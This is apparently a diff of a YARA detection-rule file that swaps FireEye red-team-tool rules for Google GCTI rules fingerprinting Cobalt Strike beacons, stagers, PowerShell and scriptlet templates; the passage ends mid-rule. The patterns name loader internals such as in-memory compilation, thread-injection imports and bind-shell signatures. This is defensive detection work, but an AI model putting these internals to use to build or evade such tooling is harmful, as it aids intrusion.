+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1442-L1477"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "297a8658aaa4a76599a7b79cb0da5b8aa573dd26c9e2c8f071e591200cf30c93"
+		logic_hash = "87cf465154d4294eeda9cf99c6c160da80cfa8a65244bc083737c0c87163431d"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
+		rs2 = "39b9040e3dcd1421a36e02df78fe031cbdd2fb1a9083260b8aedea7c2bc406bf"
 
 	strings:
-		$typelibguid0 = "86c95a99-a2d6-4ebe-ad5f-9885b06eab12" ascii nocase wide
-		$typelibguid1 = "e06f1411-c7f8-4538-bbb9-46c928732245" ascii nocase wide
+		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 B1 1F 00 00 8B D0 49 8B CA
+                     48 83 C4 28 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_DNSOVERHTTPS_C2_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_X86_V4_0_Suspected
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'DoHC2' External C2 project."
-		author = "FireEye"
-		id = "ee71be6c-e3c8-5365-9f32-157f00066c49"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_DNSOVERHTTPS_C2_1.yar#L4-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "a482161bbd8e249977f28466ff1381d4693495f8b8ccd9183ae4fde1ec1471eb"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.0 (suspected, not confirmed)"
+		author = "gssincla@google.com"
+		id = "28a735c4-87d1-5e14-9379-46a6fd0cdd2a"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1480-L1515"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "55aa2b534fcedc92bb3da54827d0daaa23ece0f02a10eb08f5b5247caaa63a73"
+		logic_hash = "0dbf6a75dc74f4c2a7604072a01e2dbaaee15f5e57c765f24138d85c248fb305"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii nocase wide
-		$typelibguid1 = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii nocase wide
+		$version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 D1 B3 FF FF
+                     8B D0 49 8B CA 48 83 C4 28 E9 AF F5 FF FF 45 33 C0
+                     4C 8D 0D 8D 70 FF FF 8B D0 49 8B CA E8 9B B0 FF FF }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_Credtheft_MSIL_Credsnatcher_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_1_And_V_4_2
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CredSnatcher' project."
-		author = "FireEye"
-		id = "0d8f7495-4748-577d-8ef2-ccc4829fc165"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_CredSnatcher_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "2c86be1bcf29bcb2c167f9248dee0ab4a5a5c6740fb1f18784ee2e380176df91"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.1 and 4.2"
+		author = "gssincla@google.com"
+		id = "dc320d17-98fc-5df3-ba05-4d134129317e"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1517-L1553"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "29ec171300e8d2dad2e1ca2b77912caf0d5f9d1b633a81bb6534acb20a1574b2"
+		logic_hash = "9b262ec18f79ab5ae63ad26d3685af088b5feb2d66de6ad3ba584cafbe2ee221"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "370b4d21-09d0-433f-b7e4-4ebdd79948ec" ascii nocase wide
+		$version_sig = { 83 F9 34 0F 87 8E 03 00 00 0F 84 7A 03 00 00 83 F9 1C 0F 87 E6 01 00 00
+                     0F 84 D7 01 00 00 83 F9 0E 0F 87 E9 00 00 00 0F 84 CE 00 00 00 FF C9
+                     0F 84 B8 00 00 00 83 E9 02 0F 84 9F 00 00 00 FF C9 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPPATCHCHECK_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_3
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharppatchcheck' project."
-		author = "FireEye"
-		id = "dedc12b9-b9e7-5c13-ad6d-2e286aba2302"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPPATCHCHECK_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "dec6231b656eed1526d4f70fe1b9a476bfb06246f0a7c25f2687d8c68886d400"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Version 4.3"
+		author = "gssincla@google.com"
+		id = "572616c7-d1ec-5aa1-b142-4f2edf73737f"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1555-L1590"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "3ac9c3525caa29981775bddec43d686c0e855271f23731c376ba48761c27fa3d"
+		logic_hash = "0c8934e997583339145749a3167ac010d8c77b2ed878d2c999de68ec2a98101d"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "528b8df5-6e5e-4f3b-b617-ac35ed2f8975" ascii nocase wide
+		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 D3 88 FF FF
+                     4C 8D 05 84 6E FF FF 8B D0 49 8B CA 48 83 C4 28 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDNS_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_4_V_4_5_And_V4_6
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdns' project."
-		author = "FireEye"
-		id = "db6b45be-f42f-5d0f-b50a-32e7a2cbfce6"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDNS_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "bab36f9b1532c3b24c2aea2907006820ed7cf1c90dae7a8138962e14ac9eff55"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.4 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "79b6bfd4-1e45-5bd9-ac5c-19eb176ce698"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1593-L1628"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "3280fec57b7ca94fd2bdb5a4ea1c7e648f565ac077152c5a81469030ccf6ab44"
+		logic_hash = "be0bbf58a176f8089924b3ce58268d906f49dde51d863524971e46f4bada43a3"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "d888cec8-7562-40e9-9c76-2bb9e43bb634" ascii nocase wide
+		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 83 88 FF FF
+                     4C 8D 05 A4 6D FF FF 8B D0 49 8B CA 48 83 C4 28 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPTEMPLATE_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_5_Variant
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharptemplate' project."
-		author = "FireEye"
-		id = "0ca9a13c-e0a0-588b-be13-5954b17d95b1"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPTEMPLATE_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "9746c1ab7b945d311c53fbdf95993d255369e06b23a3279c9f2e8a4df73ab63c"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.5 (variant)"
+		author = "gssincla@google.com"
+		id = "45715da9-8f16-5304-b216-1ca36c508c77"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1630-L1665"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "8f0da7a45945b630cd0dfb5661036e365dcdccd085bc6cff2abeec6f4c9f1035"
+		logic_hash = "31a108168489a24d1bc297d722741f3fd19abd1bed4c76d54967c73986d18123"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "e9e452d4-9e58-44ff-ba2d-01b158dda9bb" ascii nocase wide
+		$version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 E8 AB FF FF
+                     8B D0 49 8B CA E8 1A EB FF FF 48 83 C4 28 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPZIPLIBZIPPER_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Template__X32_X64_Ps1_V1_45_To_V2_5_And_V3_11_To_V3_14
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpziplibzipper' project."
-		author = "FireEye"
-		id = "392a52be-29ae-58e1-b517-1ab34a1e1fb8"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPZIPLIBZIPPER_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "19354edb91a0d79fdf79437f7247bcf155514db40340af91a3320b556dc2e4c2"
+		description = "Cobalt Strike's resources/template.x64.ps1, resources/template.x32 from v3.11 to v3.14 and resources/template.ps1 from v1.45 to v2.5 "
+		author = "gssincla@google.com"
+		id = "c9fa6a39-0098-5dde-9762-94bc6b2df299"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template__x32_x64_Ps1_v1_45_to_v2_5_and_v3_11_to_v3_14.yara#L17-L43"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87"
+		logic_hash = "5196f111f257239d2e7e4ca342e7fc8bac1687743bc8c7ff23addf1f094b2e93"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "485ba350-59c4-4932-a4c1-c96ffec511ef" ascii nocase wide
+		$importVA = "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc" nocase
+		$importCT = "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread" nocase
+		$importWFSO = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject" nocase
+		$compiler = "New-Object Microsoft.CSharp.CSharpCodeProvider" nocase
+		$params = "New-Object System.CodeDom.Compiler.CompilerParameters" nocase
+		$paramsSys32 = ".ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" nocase
+		$paramsGIM = ".GenerateInMemory = $True" nocase
+		$result = "$compiler.CompileAssemblyFromSource($params, $assembly)" nocase
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_Loader_MSIL_Generic_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Bind_Bin_V2_5_Through_V4_X
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "f919e3fc-cf76-53af-8f04-24921830666f"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_MSIL_Generic_1.yar#L4-L21"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "b8415b4056c10c15da5bba4826a44ffd"
-		logic_hash = "06cddd7e1c1c778348539cfd50f01d55f86689dec86c045d7ce7b9cd71690e07"
+		description = "Cobalt Strike's resources/bind.bin signature for versions 2.5 to 4.x"
+		author = "gssincla@google.com"
+		id = "32f129c1-9845-5843-9e16-7d9af217b8e2"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bind_Bin_v2_5_through_v4_x.yara#L17-L111"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "3727542c0e3c2bf35cacc9e023d1b2d4a1e9e86ee5c62ee5b66184f46ca126d1"
+		logic_hash = "cf04e257590cf0673059348f5c15926918eb8aee40e864ae65979360aca80013"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 5
+		quality = 85
+		tags = ""
 
 	strings:
-		$MSIL = "_CorExeMain"
-		$opc1 = { 00 72 [4] 0A 72 [4] 0B 06 28 [4] 0C 12 03 FE 15 [4] 12 04 FE 15 [4] 07 14 }
-		$str1 = "DllImportAttribute"
-		$str2 = "FromBase64String"
-		$str3 = "ResumeThread"
-		$str4 = "OpenThread"
-		$str5 = "SuspendThread"
-		$str6 = "QueueUserAPC"
+		$apiLocator = {
+			31 ??
+			AC
+			C1 ?? 0D
+			01 ??
+			38 ??
+			75 ??
+			03 [2]
+			3B [2]
+			75 ??
+			5?
+			8B ?? 24
+			01 ??
+			66 8B [2]
+			8B ?? 1C
+			01 ??
+			8B ?? 8B
+			01 ??
+			89 [3]
+			5?
+			5?
+		}
+		$ws2_32 = {
+			5D
+			68 33 32 00 00
+			68 77 73 32 5F
+		}
+		$listenaccept = {
+			5?
+			5?
+			68 B7 E9 38 FF
+			FF ??
+			5?
+			5?
+			5?
+			68 74 EC 3B E1
+		}
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and $MSIL and all of them
+		$apiLocator and $ws2_32 and $listenaccept
 }
-rule FIREEYE_RT_Loader_Win_Generic_19 : FILE
+rule GCTI_Cobaltstrike_Resources_Template_Sct_V3_3_To_V4_X
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "4f4427ee-0f7d-5442-98a6-402d8b797289"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_Win_Generic_19.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "3fb9341fb11eca439b50121c6f7c59c7"
-		logic_hash = "6db9696663c19857c1f89339b8cc9b0565e877f34e8d8cf77b89ef22b3f41683"
+		description = "Cobalt Strike's resources/template.sct signature for versions v3.3 to v4.x"
+		author = "gssincla@google.com"
+		id = "9d2b1dfa-5f76-503f-9198-6ed0d039e0cb"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Sct_v3_3_to_v4_x.yara#L17-L38"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142"
+		logic_hash = "8868445ced4945c469764b7f311d6cb11c99cf0f2d770113e5e617e0187a962c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
-		$s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
-		$si1 = "VirtualProtect" fullword
-		$si2 = "malloc" fullword
+		$scriptletstart = "<scriptlet>" nocase
+		$registration = "<registration progid=" nocase
+		$classid = "classid=" nocase
+		$scriptlang = "<script language=\"vbscript\">" nocase
+		$cdata = "<![CDATA["
+		$scriptend = "</script>" nocase
+		$antiregistration = "</registration>" nocase
+		$scriptletend = "</scriptlet>"
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them and @scriptletstart[1]<@registration[1] and @registration[1]<@classid[1] and @classid[1]<@scriptlang[1] and @scriptlang[1]<@cdata[1]
 }
-rule FIREEYE_RT_Loader_Win_Generic_20 : FILE
+rule GCTI_Cobaltstrike_Resources_Httpsstager_Bin_V2_5_Through_V4_X
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "d1d3eff8-d12e-53f6-8c30-06ecedaf3f49"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_Win_Generic_20.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "5125979110847d35a338caac6bff2aa8"
-		logic_hash = "9611aed2b4e4278d40254cb5c4fe94a458cfa19f10e6fe888bc7ceb166669cc6"
+		description = "Cobalt Strike's resources/httpsstager.bin signature for versions 2.5 to 4.x"
+		author = "gssincla@google.com"
+		id = "f45aa40a-3936-50f9-a60e-de7181862d19"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager_Bin_v2_5_through_v4_x.yara#L17-L95"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "5ebe813a4c899b037ac0ee0962a439833964a7459b7a70f275ac73ea475705b3"
+		logic_hash = "d2f722809a59faf8ecd85e46eadf58bf23ba5f515ad9c949843f1e6bfeec1fbf"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
-		$s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
-		$si1 = "VirtualProtect" fullword
-		$si2 = "malloc" fullword
+		$apiLocator = {
+			31 ??
+			AC
+			C1 ?? 0D
+			01 ??
+			38 ??
+			75 ??
+			03 [2]
+			3B [2]
+			75 ??
+			5?
+			8B ?? 24
+			01 ??
+			66 8B [2]
+			8B ?? 1C
+			01 ??
+			8B ?? 8B
+			01 ??
+			89 [3]
+			5?
+			5?
+		}
+		$InternetSetOptionA = {
+			6A 04
+			5?
+			6A 1F
+			5?
+			68 75 46 9E 86
+			FF
+		}
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		$apiLocator and $InternetSetOptionA
 }
-rule FIREEYE_RT_Dropper_HTA_Wildchild_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Covertvpn_Dll_V2_1_To_V4_X
 {
 	meta:
-		description = "This rule looks for strings present in unobfuscated HTAs generated by the WildChild builder."
-		author = "FireEye"
-		id = "f570baa5-7d58-5a0a-b713-769e62076f76"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Dropper_HTA_WildChild_1.yar#L4-L24"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "3e61ca5057633459e96897f79970a46d"
-		logic_hash = "60c1d53b8a43b9b7518f3260a4d61c6806641ee894a2a331a3a0a2ea0aff9d99"
+		description = "Cobalt Strike's resources/covertvpn.dll signature for version v2.2 to v4.4"
+		author = "gssincla@google.com"
+		id = "a65b855c-5703-5b9f-bb57-da8ebf898f9b"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Covertvpn_Dll_v2_1_to_v4_x.yara#L17-L120"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "0a452a94d53e54b1df6ba02bc2f02e06d57153aad111171a94ec65c910d22dcf"
+		logic_hash = "1f6e4254fdfd4f9b13c2000333aabbb7da90d2df7ee1b12faa6ea3c066351468"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 5
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "processpath" ascii wide
-		$s2 = "v4.0.30319" ascii wide
-		$s3 = "v2.0.50727" ascii wide
-		$s4 = "COMPLUS_Version" ascii wide
-		$s5 = "FromBase64Transform" ascii wide
-		$s6 = "MemoryStream" ascii wide
-		$s7 = "entry_class" ascii wide
-		$s8 = "DynamicInvoke" ascii wide
-		$s9 = "Sendoff" ascii wide
-		$script_header = "<script language=" ascii wide
+		$dropComponentsAndActivateDriver_prologue = {
+			5?
+			68 [4]
+			68 [4]
+			C7 [3-5] 00 00 00 00
+			FF 15 [4]
+			50
+			FF 15 [4]
+			8B ??
+			85 ??
+			74 ??
+			8D [3-5]
+			5?
+			FF 15 [4]
+			50
+		}
+		$dropFile = {
+			6A 00
+			5?
+			E8 [4]
+			83 C4 08
+			83 F8 FF
+			74 ??
+			5?
+			[0-5]
+			E8 [4]
